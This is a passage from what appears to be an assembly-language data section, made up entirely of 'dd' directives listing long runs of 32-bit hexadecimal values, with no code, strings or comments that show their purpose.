504B9D11h, 94C8B1h, 91490690h, 50ACD87h, 0A5FDFE03h dd 0D36C6B61h, 0F48084AAh, 3A44645Fh, 200E847h, 7DA2CE82h dd 0AA003DA6h, 0B1BEEED9h, 24A3CCF1h, 105B3Ch, 7D7206B6h dd 8278505Dh, 5955B900h, 0D5C02D94h, 42FE0021h, 886CC64Fh dd 26009F6Bh, 0F6A6CBF1h, 507A6E47h, 91CFF2h, 0FDCE032Ch dd 8C7B2EC2h, 171FDD01h, 7294E64Fh, 0AF0BB440h, 4EE10075h dd 0B74070B0h, 0E60E0AFDh, 3F35ED1Ah, 0E13C7183h, 62CC831h dd 80A60092h, 0D0E7EE61h, 6C98F8B7h, 0DD09377Eh, 0B3E194h dd 0AD217584h, 0BBC9009Ch, 3E4A1B51h, 0F000A1ACh, 0A8EB3FC3h dd 775F5DEh, 0FD7D664Fh, 87E3A3D8h, 312F2CB0h, 0B85B101Ch dd 0BC9807Eh, 80117C99h, 6EBA014Ah, 372FD715h, 0C4D44097h dd 1650361Fh, 4200D2F8h, 0E1568044h, 1C73C129h, 8A23904Ch dd 28FCF4D6h, 0DC15000Ah, 3106E9E5h, 0BE60F7E8h, 6857ADC0h dd 0FB4000C9h, 18F87ECFh, 15053D35h, 0D0B6D8DEh, 805C400h dd 9ABE80Ah, 35FEFAEEh, 81740080h, 0BCF69379h, 179E155Ch dd 0B00FF566h, 0CFBDA009h, 14A811C0h, 0F00B1D06h, 54E39F01h dd 40B4215Ch, 0B9C1C3D8h, 87623A00h, 0E3C7255Dh, 0A47C0061h dd 720B5BE7h, 0DE75D057h, 6F5AEC00h, 694737B2h, 933B00E1h dd 30D93CE3h, 0F8F512F1h, 0B701E746h, 0C26DB035h, 3E70C68Fh dd 80A139DAh, 32F82A80h, 7331AFAAh, 6E45C00h, 0B69F816Fh dd 6E0700F7h, 5975FD04h, 0A913769Ch, 4D04AE78h, 8C80C583h dd 0E8B9A4BEh, 5DA100CEh, 0A921714Dh, 6A00F6C1h, 0E878562Ah dd 0B0FFDFD6h, 0C267026Ah, 40B8E287h, 99D20C48h, 2EBAC800h dd 9E6D7FA6h, 609009h, 0D4D07EFCh, 0F778F473h, 0B8910207h dd 1190532Bh, 1F67A7h, 0FA400AEFh, 955260A6h, 29827F04h dd 0C906B64h, 4E53F3Dh, 6FAA5627h, 0D8C567h, 525D4262h dd 0F100A8A5h, 9414544Bh, 0D62F37h, 3973BF64h, 8070CAE3h dd 0DDA67603h, 90A88FADh, 0BD077h, 5F53AE02h, 0C0CE239Eh dd 380E958h, 8B04D2Ah, 5A2F88A9h, 8098EAh, 0D0C2BA81h dd 4D1CC43Fh, 71FDA500h, 0A15F809Bh, 627300D9h, 18E4C785h dd 9C00D1C0h, 9D5D1F0Ch, 270899h, 6AF3D71h, 682ABE05h dd 0EA003478h, 6DA4F5FCh, 0F88B5Ch, 0BD7995C9h, 355D7537h dd 5BA6A900h, 0D63B9657h, 9D9C004Ch, 0E0AABF0Fh, 42018E20h dd 0DAA258BDh, 0F8E0CF66h, 7CDF49D1h, 0F7AE2D07h, 71D8A0B0h dd 2B0069ADh, 74047B4Ah, 3F36080Eh, 0CA806699h, 37754C3Ch dd 0CF48EFB0h, 5CA10047h, 0A0122E40h, 0C5F20006h, 34047230h dd 9600298Fh, 3BCB10D9h, 21494Fh, 40C7B38Eh, 0D277595Eh dd 4AE81D4h, 0BAF68B60h, 35A3AD0Fh, 207ED31Bh, 1B9AEA3Ch dd 0FF1195A4h, 61CF5D80h, 30789D8Eh, 7F0ED503h, 0B0F4F71Dh dd 30F2A02h, 7CDFFF2Fh, 603D41B3h, 35D706B1h, 18497F22h dd 700C9AB2h, 0DE18E5BAh, 4090DC4Eh, 8E690092h, 0DA89AC2h dd 100EA09Fh, 203FC1F6h, 5C6BF23Eh, 0BA560008h, 5D40CC69h dd 68A07F0Fh, 8A037D4Eh, 619ACABCh, 57C002B3h, 0C93FF0B1h dd 8E8D64E8h, 30BB1037h, 0EB7A3D80h, 5B4707A5h, 0C1B206FDh dd 0FC52C69Ah, 0B3166B8Ch, 78005705h, 0B20C0887h, 9C7548ADh dd 0EBC42400h, 3A44974Bh, 1C701826h, 0E80101Ch, 354989C8h dd 98F70785h, 90B46AB3h, 6C0F6FF4h, 20792D07h, 0F8102EE8h dd 0A03E55h, 8BE48131h, 9B1E2AF7h, 1C4FA63Ah, 13808C50h dd 0F9748D67h, 26B900E1h, 9B2CC36Eh, 9C031A7Ah, 0F3D4FA88h dd 0C00B9857h, 0BC6E0093h, 1C656874h, 0E45C473Eh, 1E443A10h dd 644013B4h, 2A9D9E35h, 79800AABh, 8EA0E95Fh, 0B4C0231Bh dd 0EE024CDEh, 55699C00h, 5612C7D6h, 90F62AA0h, 5ED4009Ch dd 48863287h, 9324BD69h, 0D8005B1Dh, 67B20B73h, 9B7E5C8Ah dd 0E5796000h, 6CC9CA3Fh, 0C4DF68CAh, 223D3781h, 4230B061h dd 0DAEC00A3h, 0F8ECC4Dh, 121F657Dh, 3E98A57Ah, 60410431h dd 0DE2981A0h, 0E9720F8Fh, 0A518747Eh, 6F293D0Bh, 0F7400047h dd 32495833h, 0E3289A63h, 0A55C10B7h, 68DA00B9h, 6027D1C8h dd 114500ADh, 0EDCC20Ah, 34030549h, 0CFB0240Fh, 776EF9C9h dd 189FBBF0h, 491BB735h, 3960C736h, 493267FEh, 4C1000FDh dd 628F92F3h, 840026F2h, 59A93C60h, 71FE7B7Ch, 4A0E1E0Dh dd 0B7C1C011h, 4C0B567h, 324C3Ch, 0EDD0A34h, 350D28h, 1660EB4Bh dd 0C0AAD662h, 92651200h, 0BE719834h, 0BCAB58B8h, 7872EB58h dd 0C8A60085h, 0D410C757h, 56397EB7h, 4F2B0A88h, 900FECA1h dd 41C340BAh, 66CB93h, 0F4DCEFCDh, 0B257FA30h, 968FD613h dd 4C659C00h, 877B67h, 8B7671A9h, 0B1C53044h, 0AF84CCE3h dd 0A4179701h, 39F4D4EFh, 80FB2DCDh, 7BC836C4h, 49EE07h dd 2AB59769h, 0AF5D916Ch, 0AD686B0Eh, 0BA83E046h, 0E51358h dd 0ED30E660h, 0C4D6B141h, 440791B0h, 497B994Ah, 420B5630h dd 3D4B2665h, 4CCA011Ch, 0E493A674h, 96008AF3h, 0C6E53E82h dd 1C4CD5Ch, 631E3C5Fh, 0CC8375A0h, 0A1E831C7h, 72011771h dd 2752AD9Ah, 62E4E69Fh, 166105D4h, 80CD58EDh, 8DCFF41Eh dd 621995F5h dd 9CFF8304h, 29103A04h, 78AE2E80h, 6C4EB13Fh, 39CA1600h dd 0FF2C707Bh, 0C8914808h, 2D6D280Ch, 4F446529h, 2488441Bh dd 44559044h, 2284C92Bh, 41E17CA3h, 1227C728h, 233C82FDh dd 43C257Eh, 4A365B28h, 12081421h, 9D389083h, 15213451h dd 9086BB08h, 32308454h, 65423948h, 84702E84h, 2D48316Fh dd 2F8B1442h, 3B919C10h, 22005122h, 5DC75620h, 59B92F4h dd 55CE8994h, 11CB81CBh, 0E8F52044h, 806BDB3Bh, 5EABFCB5h dd 232FFh, 426AEE97h, 0B1642CD9h, 0AFCE5600h, 0FA1A9D30h dd 1F79814h, 6DAD943Ch, 0D25489ECh, 60F126C0h, 15446400h dd 0ACBC2E45h, 0CD740705h, 505219A7h, 0C9149FB1h, 9176C800h dd 4926410Dh, 0B34737CBh, 48CE30B6h, 533CB50Ah, 803E002Ch dd 8FF92B12h, 0B4363091h, 3AE78E19h, 0A38B7000h, 6583F87Eh dd 0F77C30D5h, 3FBA0B21h, 0B1891800h, 0D6F6F860h, 0CCB868h dd 79EB5A0Fh, 7C050D36h, 4429B602h, 481D3121h, 0AC504Ch dd 0A90F953Ch, 9139A79h, 2FA08A00h, 0CB7A644Eh, 8EFEAEh dd 16BBA51Ch, 1477B85Bh, 39BDFA30h, 18171E2Eh, 1876EF99h dd 971DB6C8h, 30426E28h, 48C20B5Ah, 0F709AE98h, 1D720AF0h dd 4FFF8FD9h, 1B80AB70h, 0CB94ECE5h, 788DCCFFh, 65CEBF00h dd 54E75734h, 9EC600DAh, 4D06B95Fh, 0F400289Ch, 0B07EE351h dd 752502CAh, 8DFD008Ch, 343929F0h, 0A260D872h, 58F96328h dd 0B7B80152h, 91C992EFh, 5B5083DBh, 0C8133EAFh, 0CB299Bh dd 14305119h, 1528A594h, 0A07D58h, 96220360h, 3E34F33Fh dd 66006258h, 4124778Dh, 0E30E92C5h, 0C0AE754Eh, 520CBD3Fh dd 0E54A0020h, 1FA90156h, 9400221Eh, 0ABB36D38h, 8309D2h dd 555A519h, 1676B90Ah, 0F781C207h, 33B0FE67h, 0E9353Ah dd 0D06BF578h, 6C638ADCh, 7B091A1Eh, 9D15C780h, 0F5CFE4Bh dd 8521A3D2h, 0C6FFAA0h, 0E1395084h, 9CD392EEh, 55B46005h dd 0FB9EF203h, 73B2A868h, 0E6820023h, 2409FE08h, 30019333h dd 89E86F0Bh, 0FDE476FCh, 118F001Ah, 7EB3ADA1h, 472499D9h dd 0ED804819h, 0C87AA627h, 0BF82014Ah, 61EA08BEh, 0B253F00Ch dd 0F55E0300h, 977B6893h, 870D00AAh, 7D79361Ah, 0A2478EFh dd 43604073h, 0FC015Fh, 7BDD48A7h, 0C1230356h, 0D5544200h dd 275E042Fh, 3A4D00F4h, 0AD86C283h, 6B006557h, 95125F02h dd 60C867E5h, 0EDFE16D8h, 0C7001D39h, 6650518Bh, 46E4F7h dd 0D5CAA635h, 37952574h, 8F006FF8h, 0BDB66CF8h, 16286BB2h dd 6723C0h, 0DEADEF66h, 6900FD34h, 94BD722h, 48A95DE1h dd 0CA2EC860h, 438F02E1h, 8FE0760Dh, 94A01B3Ch, 0B6073296h dd 1678654Fh, 8C6E5440h, 97B100F0h, 0DEC32305h, 190027DCh dd 3E66C0CBh, 1263BE39h, 85445h, 0AB65DB94h, 6C2D0C8Dh dd 0E30A80EEh, 215B133h, 49FA7791h, 0DB80ADC8h, 0BAACD47Dh dd 286EB30Ah, 6309CD72h, 89A8200Ah, 778C2ABh, 19D05409h dd 86E85075h, 70059D3h, 71609D8Fh, 0F6030CB7h, 0B3530054h dd 9288125Bh, 0A600A16Fh, 2FBABE9Bh, 0EAD2A4h, 37252D08h dd 3F26079Dh, 3B659800h, 3EF429A0h, 4B4900F6h, 0D4D86EE3h dd 91002127h, 6A157110h, 0F47DEA0h, 0C481C889h, 183E32E1h dd 0B898DC51h, 0D6707100h, 0D93FCF2Ch, 78B324D1h, 286900C8h dd 1768857Fh, 80E2243Eh, 9A0C08F5h, 2C0DEAh, 0C4809EC5h dd 0E93385A3h, 8FC8F800h, 0CC4243FAh, 1E3F75D0h, 0C0516AAEh dd 0B8763E7Bh, 0F3002E19h, 0A8C01CFFh, 66D52Ch, 8B4539F6h dd 7F44853Eh, 6B51C101h, 0AA3643A2h, 66BA91FBh, 13B9A8F3h dd 3E90088h, 5191E75Fh, 4001DFCh, 1EB1EE2Bh, 17C6E29Eh dd 2815E76h, 7183D816h, 3EB800E3h, 6B703FA2h, 0D4877A00h dd 0FBE20C7h, 81CC4F4Dh, 0CC614334h, 3E00D9A2h, 0FA6F4A3Ch dd 688377h, 21BBAF8Ch, 0A7F3E457h, 7325C8FCh, 437403Dh dd 0EED4A095h, 1CB1EAE9h, 5FAF4F7Ch, 870A619h, 2D013E9Fh dd 769CE83Ch, 0CAA9C8h, 1C1805C1h, 79975CB4h, 0CB368C00h dd 0B634292Fh, 0F45F04Ch, 70FC18CEh, 2AD50180h, 8B07DF31h dd 59CC68DCh, 6AB23D70h, 20DE176Fh, 45784F5Bh, 47EE6560h dd 0EF3126FCh, 396EE232h, 1D80C820h, 804BB534h, 0D3372BADh dd 0C202CEA6h, 255BED49h, 20BC41C5h, 1C057AD4h, 5D87084Fh dd 238EC01Bh, 0BCFB732Dh, 15EB0700h, 77CF81FAh, 0A9C70074h dd 3D88160Fh, 8E00AFB5h, 980159BBh, 0CE31A35Eh, 0B806D98h dd 57169C34h, 0EA87681Dh, 0BB79E503h, 3FB5E9F0h, 983A9EE4h dd 55020080h, 0E40D66DBh, 5A00BEFBh, 9C816545h, 3F26EF09h dd 0CC006D5Eh, 0B27120A3h, 2E70FA4Ch, 13009B7Ah, 1D792B58h dd 3EA77DCh, 8C7BF1F9h, 0FEE0024Eh, 9907E314h, 108A4928h dd 6D6B8710h, 748C0167h, 0A99555EEh, 3AD6E8DFh, 6970A2E2h dd 80F84238h, 3B02A578h, 3AD29F48h, 279124Eh, 83D7500Fh dd 28C0A461h, 0DF00B86Ah, 186265B0h, 0E211D03h, 0CB52DC41h dd 878B9220h, 631C5102h, 85806F0Dh, 0BA78D153h, 0BD29006Bh dd 0E357C2F1h, 0E804182Ch, 0A6983877h, 343D9C00h, 0A958CD7Bh dd 834317B0h, 0EA79000h, 6C4A3Eh, 0CA44E9F6h, 5E1BDD9Dh dd 57112600h, 36301CF1h, 0D7350058h, 0EDEC64BAh, 742EC073h dd 8F1FD517h, 98F65E80h, 26FBC1E0h, 1B4D160h, 468B09B5h dd 3CFDD423h, 0E07DCC0Fh, 72F1A08Ch, 7970FEh, 0B82AEED2h dd 0FA9CB206h, 13D44E00h, 1611AB4h, 48CF64Ch, 453E7882h dd 6FC88083h, 48002AF7h, 8FEEBBD2h, 0E77E1Ch, 0B4465605h dd 4CD68D3Dh, 5B3E6900h, 5044F680h, 0BFB20057h, 0F78411CBh dd 0E00E8F1h, 932F342Dh, 227BB31h, 0D996C2Ah, 8220A4DDh dd 0EE7972CEh, 2454B8B7h, 1B80685h, 0CC2A8F1h, 0FA2A30AEh dd 0DCCA5Ch, 6B8B0A15h, 11A70Fh, 7CD959D7h, 0D066543Eh dd 0FD8FCF16h, 0A6C9400h, 63E799h, 573B46B8h, 2B1BE2D5h dd 0D3587490h, 67FD01F8h, 0CC7173AEh, 5B75C8h, 0ABD414D5h dd 0FF24799Fh, 0F08EC300h, 2C1B1519h, 62C21F40h, 148240Ch dd 971DC93Bh, 0A44AC04Bh, 0D4F2E801h, 0E9023573h, 9542F881h dd 206027E2h, 900050Ch, 0BA3F538Fh, 36C3618h, 10D10C42h dd 73984A56h, 3C00EA74h, 78E7CEEh, 5C81FD6h, 153428A7h dd 0C2C90062h, 86AAE65Eh, 0BA041902h, 0E0D3B9AFh, 2301214h dd 0C44DD785h, 0FD606BC2h, 0FB0065FEh, 35212D40h, 0F9A41Fh dd 0A5017ACBh, 0AF58DBECh, 0C7326101h, 9729A1Eh, 6A1D4E4h dd 26DF9E86h, 400B890h, 0E8305DEBh, 1EA45A79h, 0C0A5562Ch dd 72828391h, 0ED01A3F3h, 0EE73E8B7h, 0C040C433h, 2F9C30Fh dd 47C65487h, 968577F3h, 0A5D40026h, 0D6AA1EDCh, 0C82A5328h dd 0B098E548h, 0E5B94965h, 0A5409Fh, 0AF484CB4h, 2D092093h dd 809FAA59h, 0DF718F44h, 8BC11262h, 69300221h, 0E8E0B65Ah dd 14E4BD7Dh, 4E228000h, 84A9415Eh, 6B8FAh, 55CE6907h dd 94E36D3Bh, 0ED4E451Eh, 76018BDEh, 2EF0CB93h, 309CC1E8h dd 39A83734h, 24001D5Bh, 6257A585h, 87E248h, 0C46B1BA9h dd 3D3BD8D2h, 0C64A4B01h, 8A11B7B9h, 88607AC9h, 0A1450128h dd 78CC803Ah, 632DE875h, 7DC6F50Eh, 617C008Eh, 1ECD6E08h dd 80BA2C3Dh, 21D3A02Bh, 470F982Eh, 0CBF45195h, 348E0071h dd 0DF1DA4CEh, 5878806Ah, 3CF6E849h, 64913300h, 44B976C1h dd 0C18001Fh, 0C527285Fh dd 0D50256BCh, 0ED25D9FEh, 0B84CE311h, 905A4B6h, 0D8DE6063h dd 0B9852820h, 0DC9010D5h, 5C20F026h, 0B3C57000h, 7F48B14h dd 0C494F258h, 309620A6h, 0DA01FB17h, 0AEA971F7h, 0D440AAB5h dd 4A2F65D8h, 0E4B4009Fh, 0DC94DAB0h, 0E7A8B900h, 0F1366675h dd 6FC8F904h, 0E4C6004Ch, 0F2974062h, 6100877Eh, 78FECEF5h dd 925CD0Ch, 7A70D741h, 44808000h, 92883A52h, 540700B0h dd 0EA405ACEh, 88031945h, 0B3C07BE4h, 2A9C90BAh, 4B7A78h dd 5B6E2597h, 0B0E250CEh, 19953100h, 53DB7FCAh, 1EF10423h dd 0A7A060h, 2FDC6584h, 574912E8h, 0D5C480F9h, 1200E392h dd 384CF75Ch, 5106918h, 3936547Ch, 6290C09Eh, 7513D84Eh dd 4004237Ah, 742DB6Eh, 7848DE7Bh, 0BA058556h, 2158A20Dh dd 0A740B400h, 0AD78CDh, 0AAF496A4h, 3E56BBD4h, 6709A600h dd 0C2324731h, 9D340536h, 801BBE3Dh, 8A7D6F88h, 0AE4C4960h dd 0E09E19D0h, 0D5410E11h, 409853B9h, 2D00EC61h, 148281B1h dd 3B0E762h, 337D0716h, 6E8E0B7h, 640C182Fh, 0B035BF34h dd 9766018Dh, 0C3A202A6h, 0D2DC4DDh, 0F69F1B00h, 0B82B4C70h dd 0CFB1038Eh, 0A43A2441h, 74FC9DF9h, 3E3C99E4h, 0EAED8C0h dd 64EB95E8h, 7C80D969h, 4F3C884h, 179FF505h, 2B10C03Fh dd 0BB07425Dh, 97F411A1h, 5FD1A5F0h, 2B22809Ah, 14100C1Ch dd 20292DCBh, 1E7CDD20h, 658D0349h, 6C669FEBh, 0CFB37FD0h dd 0E5A0E909h, 605482C6h, 38D05Bh, 30FF63CEh, 0E84E6CC9h dd 92515300h, 33A6C315h, 2FB72C0Dh, 7543802Ch, 17CACEB5h dd 9CE72C02h, 0C0674A57h, 0FCD09EACh, 8F0805ADh, 80BA8E95h dd 0E929F9A7h, 90CAA00h, 34B5850Ah, 73E784Dh, 787EBA7Ch dd 650EF33Bh, 31A0EAE0h, 3D103A60h, 44462D6Ch, 860025A7h dd 907762E6h, 70112D1h, 17BBBFCAh, 2C690084h, 7813EE27h dd 1882A6D7h, 1DC447Dh, 644257FFh, 20C8EB80h, 330C47AEh dd 0D940DD37h, 0DF1B0065h, 612D7468h, 180919CBh, 0C049851Fh dd 6600D64h, 0C0DDC4C7h, 0C300905Fh, 0A16E248Fh, 3278EF7Bh dd 89799583h, 8200B052h, 77DA73D9h, 2A461Fh, 18B5E087h dd 5078E829h, 90E15F2Ch, 849C2F00h, 39EF66CBh, 3CF85456h dd 250052AAh, 0FC878EB7h, 8F00AC0Dh, 69A972CCh, 1A14B22h dd 4AC48CAAh, 0CCDDDE01h, 0B8002804h, 8E9AC56Ah, 7ED7A10h dd 0CE748A56h, 5004E7DAh, 154767FAh, 69318F00h, 0FE5B7F07h dd 4FC1007Ch, 8A068CBBh, 1C09AB6Ah, 7EC4E5h, 0AA75EF10h dd 3B5000C7h, 0FC9C0EA5h, 0AE7A8564h, 2BE3509h, 0A6680040h dd 0B27701D8h, 3F310400h, 0B0039119h, 0AD018E4Ch, 0B112D0B5h dd 50602335h, 5C8D1F19h, 8CEF06B9h, 4C003CFAh, 8BE39780h dd 281699B3h, 98DBBCA2h, 873600BCh, 0AA93815h, 0F8001759h dd 942716E1h, 3E70Fh, 0F941AE70h, 1929E576h, 0BBA2F406h dd 39C8753Bh, 0EE0B85F3h, 9C836826h, 9FA03453h, 0B4009BCAh dd 7BF83A23h, 9020178Dh, 0E3FB00B0h, 4F9FD0B7h, 6B0159C5h dd 1D538E98h, 0C3EBC24Eh, 0E0E6C078h, 237300A1h, 27EF983Bh dd 70C377D6h, 0E820A81Bh, 30045288h, 0ED306712h, 4309FAA0h dd 2080ECD4h, 3BAEFE40h, 0D0244809h, 926A3400h, 0C58C0B55h dd 1B4514Dh, 0FEE3E02Eh, 3C2C0EC3h, 0BED1ED00h, 0DAB183B7h dd 24F14E26h, 2FE65A07h, 2A802E00h, 19A960BCh, 5061023Eh dd 0ACF63328h, 9D122D00h, 6D644D56h, 0AB9C0977h, 6CC05819h dd 73008633h, 0B1DF1810h, 75A3CF15h, 0E7900543h, 80D0CBAAh dd 0CD531D50h, 4435242Ch, 8A1C7801h, 5E00DF7Dh, 940099FFh dd 5704B189h, 5424501h, 770C4710h, 0B5E8A0FDh, 54511600h dd 8C0F29E8h, 5E6F0024h, 0BF665605h, 0F4F69F3Dh, 0EC5BC405h dd 4480A874h, 0FC08F958h, 72EA0194h, 1E198BF7h, 302F212Fh dd 7F0099E4h, 0CD8FEDA9h, 0A564B6h, 0BDD19E38h, 0D57D3306h dd 0C407AC00h, 50324E8Fh, 0CDF9001Eh, 1CB8D26Fh, 4F00529Fh dd 72F0C041h, 0C3D738E2h, 3CAD68D0h, 9CFD1DF8h, 130EC800h dd 4C2082D2h, 3D67EC2h, 29A44608h, 0DD81866Ch, 4E84308Dh dd 0C1870204h, 80AF4Ah, 0EED0F95Dh, 98FE0E8h, 76819EEFh dd 80111804h, 9F065B50h, 0A8264B07h, 60EB87CAh, 903AACh dd 0B512A5FBh, 83CB35E6h, 516ED801h, 5D0F4110h, 5F6001F3h dd 0D98D1AB0h, 8F10BD8Bh, 3F396549h, 7AD18239h, 0F8F1BBCCh dd 0F0A4A40h, 1480E668h, 9B3AF770h, 3490DE00h, 0A73FC4D6h dd 3DB1385h, 8C5030CAh, 0F5F05073h, 0ADC84700h, 0EE3FDC32h dd 0B3530086h, 5D74F0BEh, 30014E18h, 8AFA6C4Dh, 0B5D3903Dh dd 8E7FF180h, 7E07000Eh, 4E942B8Ch, 0CF00853Fh, 0EEB7A9B4h dd 701B05E8h, 8CC5176Eh, 8DFC0020h, 0A4F2064Ah, 14D0213Ah dd 0CCDDC2h, 0AF7D180Ah, 0BACD85h, 0F686BCA3h, 6428F37Ch dd 7543959h, 196D02F1h, 70D0A527h, 3D59D7h, 4A9206BFh dd 0B9CC43E1h, 92967E3Eh, 3400AA39h, 3055E33Ch, 13B0B6EBh dd 0C04B04D3h, 0D8B3A7h, 191BD973h, 1F5ED462h, 26EDA8Ch dd 87BE3357h, 42DDE8A0h, 1901F048h, 417D312Eh, 4C70492Dh dd 3D79D3h, 0EE4D2961h, 0B81C0E63h, 95DD0500h, 53A7ABDAh dd 9D780DF8h, 44F0D63Ch, 0FA1C881Ah, 0B7C80406h, 7B610A52h dd 1B9900F3h, 53CEF5BAh, 7A005FAFh, 71EF9740h, 6E6832h dd 0C4DDCAA0h, 908C7382h, 0C224E003h, 0B38D4D1Eh, 0AB4F88D8h dd 6C7900E3h, 771296E9h, 0EE000476h, 0E4A671E6h, 0A19878Ch dd 86534783h, 0C75680C4h, 9EC26CB1h, 0F92FFC00h, 40283A4Dh dd 0FE6F0014h, 8DD1D368h, 4C12390Eh, 0C20060D0h, 0FD7126ECh dd 0B4DE0F5Eh, 817E8735h, 6CA453BCh, 70C4406Eh, 0BC960111h dd 4AAE219Ch, 5D609D00h, 0DD9E78h, 0E18329B2h, 0C7259DCh dd 73003BFCh, 61AF4E8Bh, 4D70567Ch, 0EA00A41Eh, 81F691B4h dd 7D00FD9Fh, 28BA0A86h, 0BD9D558h, 0A5C96AC6h, 0B1CD0000h dd 6E5D18F7h, 84670094h, 30905CD2h, 0E74000CEh, 758F7B6Fh dd 89795928h, 6122401h, 1A9180B8h, 8B22470h, 4FE62CC4h dd 0D2F6BB00h, 4DE71F1h, 0BAD1625Eh, 330CD0AAh, 5F07A41Fh dd 0A2412119h, 5C6D2250h, 597700EDh, 3D5BFA14h, 133854E3h dd 20F22602h, 90689488h, 3FDD85EBh, 76364D0h, 32C0090h dd 24545EA9h, 0D00C9FD1h, 7865DB8Fh, 57E01E58h, 0A74C00FDh dd 1FAD9486h, 93DD8C00h, 32B682CFh, 180C049h, 0EDDB0805h dd 55059874h, 0B07B2E78h, 9AC880C1h, 0CB94A11h, 6DFF00A6h dd 6F51DB7Ch, 7D07F3E2h, 9809B3D7h, 8C44E190h, 0BC54393Bh dd 4AE7A600h, 552A77D5h, 0C5F45F09h, 0D2348048h, 0B89BE351h dd 0C71B00DCh, 0FC0D499Dh, 8400AB19h, 3771BACFh, 755A61Fh dd 0DB896D54h, 57804053h, 9307B2BCh, 7BB1334Eh, 8B95FA00h dd 0C1EC3Eh, 469F798Ch, 3216A008h, 8367253Fh, 0B65F8A6Ch dd 0F3B3A7D9h, 1D77E80Ah, 151824BFh, 911706F4h, 0AB4F20EEh dd 98401C1Fh, 0D541FF7Ch, 853600A0h, 4CCDF80Bh, 0F90768B1h dd 675DE875h, 9EFB61D0h, 0A1981ECFh, 0E2081D6h, 305ADDE4h dd 4D093908h, 0A7D38757h, 0CFE21C50h, 0D8F84B86h, 1815AF2Fh dd 646E2396h, 4899B650h, 165362h, 8C6E083Fh, 4514380Fh dd 40D04FBEh, 0F3BB295Ah, 0DE5C0036h, 421A46A7h, 4F6FBD2Fh dd 2205C139h, 0E4E0357Dh, 0CEB8009Ch, 0D0119FB5h, 0F7482164h dd 78BE0290h, 0C0B29252h dd 0BCA6A8D8h, 46A2C02Ch, 5F581E94h, 180102C6h, 0C2BED30Ch dd 3CF050C9h, 1A25CE17h, 2F97A060h, 84564328h, 4122BC00h dd 4DC27247h, 1EB97B66h, 1C69769Dh, 0E30D40A0h, 72CD9AFBh dd 6AFAE1Fh, 8535CC0h, 7EE4C08Eh, 0FFF7050Ch, 0C14F818Ah dd 0D8CB3EFEh, 7AEA1A30h, 269F8C00h, 4908047h, 0BA2A00D7h dd 6877F988h, 6B250CE0h, 0F458A215h, 6F0A1CBh, 0EDC43ED6h dd 35F4A6h, 314F8066h, 85C0B96h, 278C5A01h, 0A740E5F6h dd 0C541CCh, 70C25E72h, 0B8367DCEh, 28862300h, 0F251DD68h dd 9C2F482Bh, 7200813Bh, 0BCBE2D52h, 7A0011CBh, 43E307C9h dd 79BF3B2Ch, 6D73D3h, 0F84D035Dh, 8E1059F2h, 0E2B02A00h dd 0A6CB2302h, 77DC02C0h, 0C15D0C97h, 0A428FCE0h, 6E09E907h dd 2EF0DBCDh, 9E476B83h, 0A6B30298h, 3048C70Dh, 2EF2AC95h dd 25BE4600h, 0EBC36904h, 5C4E0051h, 7658455Bh, 0A40E4418h dd 8AF448h, 43D1D239h, 21423DE4h, 0F3B7A780h, 59D6411Ch dd 0EF96C216h, 1DB2CF07h, 576CD3B0h, 23B704D5h, 0C0DCBC85h dd 0A39A9C28h, 112548BAh, 4B306131h, 7E19AFE8h, 0A6D0009Fh dd 33441408h, 0DA0012FDh, 0EE9DB28Dh, 2677CA66h, 7B064F2h dd 201ABF06h, 73F39231h, 45A0A109h, 0E2BC5001h, 1FF200FDh dd 8C670EAAh, 0C57FCD62h, 0F0384D1Fh, 0E0E3F100h, 1ECD8E9h dd 80E8D737h, 30C7210Ah, 180058FCh, 0AB984D9Dh, 0D91419h dd 0FA151A39h, 4EDAC73Fh, 20787C25h, 0AA4A27C0h, 19C981Eh dd 0F9D991AFh, 2012389Eh, 497C0B0h, 90D00570h, 9902B3h dd 32AE6648h, 9653C008h, 3BEED47Fh, 3E28AC0Fh, 2C6981h dd 889EA4BCh, 0CA2B0327h, 0B546D6D1h, 0E73A80ADh, 8C00C3BAh dd 65E20EFAh, 5CB321h, 68A53539h, 32FB5859h, 60664C00h dd 8E9B19BDh, 0E3BC1C2Eh, 27DE001Dh, 620E1D4h, 0E589D8C0h dd 1670401h, 56A864F5h, 40B084EDh, 0B6E0E1A0h, 0CD407E09h dd 6D928735h, 5A0F2020h, 24334D77h, 8941905h, 8DBA80F4h dd 0F2500203h, 592C3FF0h, 0D383C807h, 82A0D19Ch, 285C34h dd 89118BF0h, 0D4017082h, 0F8F3A90Fh, 0DA605013h, 36B7C51h dd 0EA8E04Bh, 40C02F72h, 44B0FA05h, 0D74C3E10h, 7DFEE420h dd 0D9064316h, 0CC1B00FAh, 0C12B6AB2h, 4FA048h, 25D0977Fh dd 201853h, 45CBA952h, 0DD81EF3Fh, 0F429140Eh, 23FEA25Bh dd 7F7C404Bh, 0A9F23833h, 40786C18h, 2800A165h, 68DD24C3h dd 0FEC64BBh, 59C91A14h, 0AFE35C07h, 0E38066E9h, 0E85369D4h dd 624C1AFAh, 0B71604ACh, 0CCAC8AE7h, 15292600h, 0DA4448A6h dd 32051200h, 0FD348673h, 98C500C1h, 2DFB8D8Eh, 0AF000ADDh dd 2851A945h, 20D587Fh, 62E65565h, 0F6E08FE1h, 7A586107h dd 967B0074h, 0B854274Ah, 0DC7997h, 0C8E393DBh, 2F060CFAh dd 79DD5209h, 0C9C42024h, 2E141A2Ah, 0F3F592h, 99B1B258h dd 0F4267BEBh, 2D00B102h, 0A8961A34h, 0BB2101C7h, 0F3F98A06h dd 4C6AEE58h, 1825F080h, 0A526735Dh, 0F00148C3h, 6F09916Ch dd 34BC002Bh, 3E04DCF8h, 15024005h, 800F3142h, 0A08CEF1Eh dd 92CBFD51h, 87E89E67h, 9066A5E6h, 243CB41Bh, 262E0F79h dd 0A8007845h, 0D8D5FCBEh, 3C549043h, 0A50987DBh, 100497A9h dd 0C8C1229Bh, 5CCE959Ch, 7901A5h, 3686315h, 0C45DF94Eh dd 80345839h, 41CEF66Ah, 4C3BC6ECh, 16019C14h, 9C1B3F7Ah dd 25109E1Dh, 6237BF45h, 7D4B58C1h, 497DBD4h, 7B01B031h dd 89F7C042h, 66075311h, 9C7294Fh, 0AB3F52A0h, 37FC125Eh dd 0EEC90377h, 70EF3558h, 11C299B7h, 8F95C47Bh, 0E0BA8E68h dd 630FF58Dh, 303E0067h, 0C6CF54ACh, 0E0016C2Bh, 0C03D5395h dd 13E8C16Bh, 234E001Bh, 499F1FC2h, 261E47F8h, 0F6419AC4h dd 44BFA7Dh, 1CD1B460h, 0C30C6D86h, 1C52AA19h, 7A38B094h dd 0A0AFA804h, 1CBC92B5h, 0C835138h, 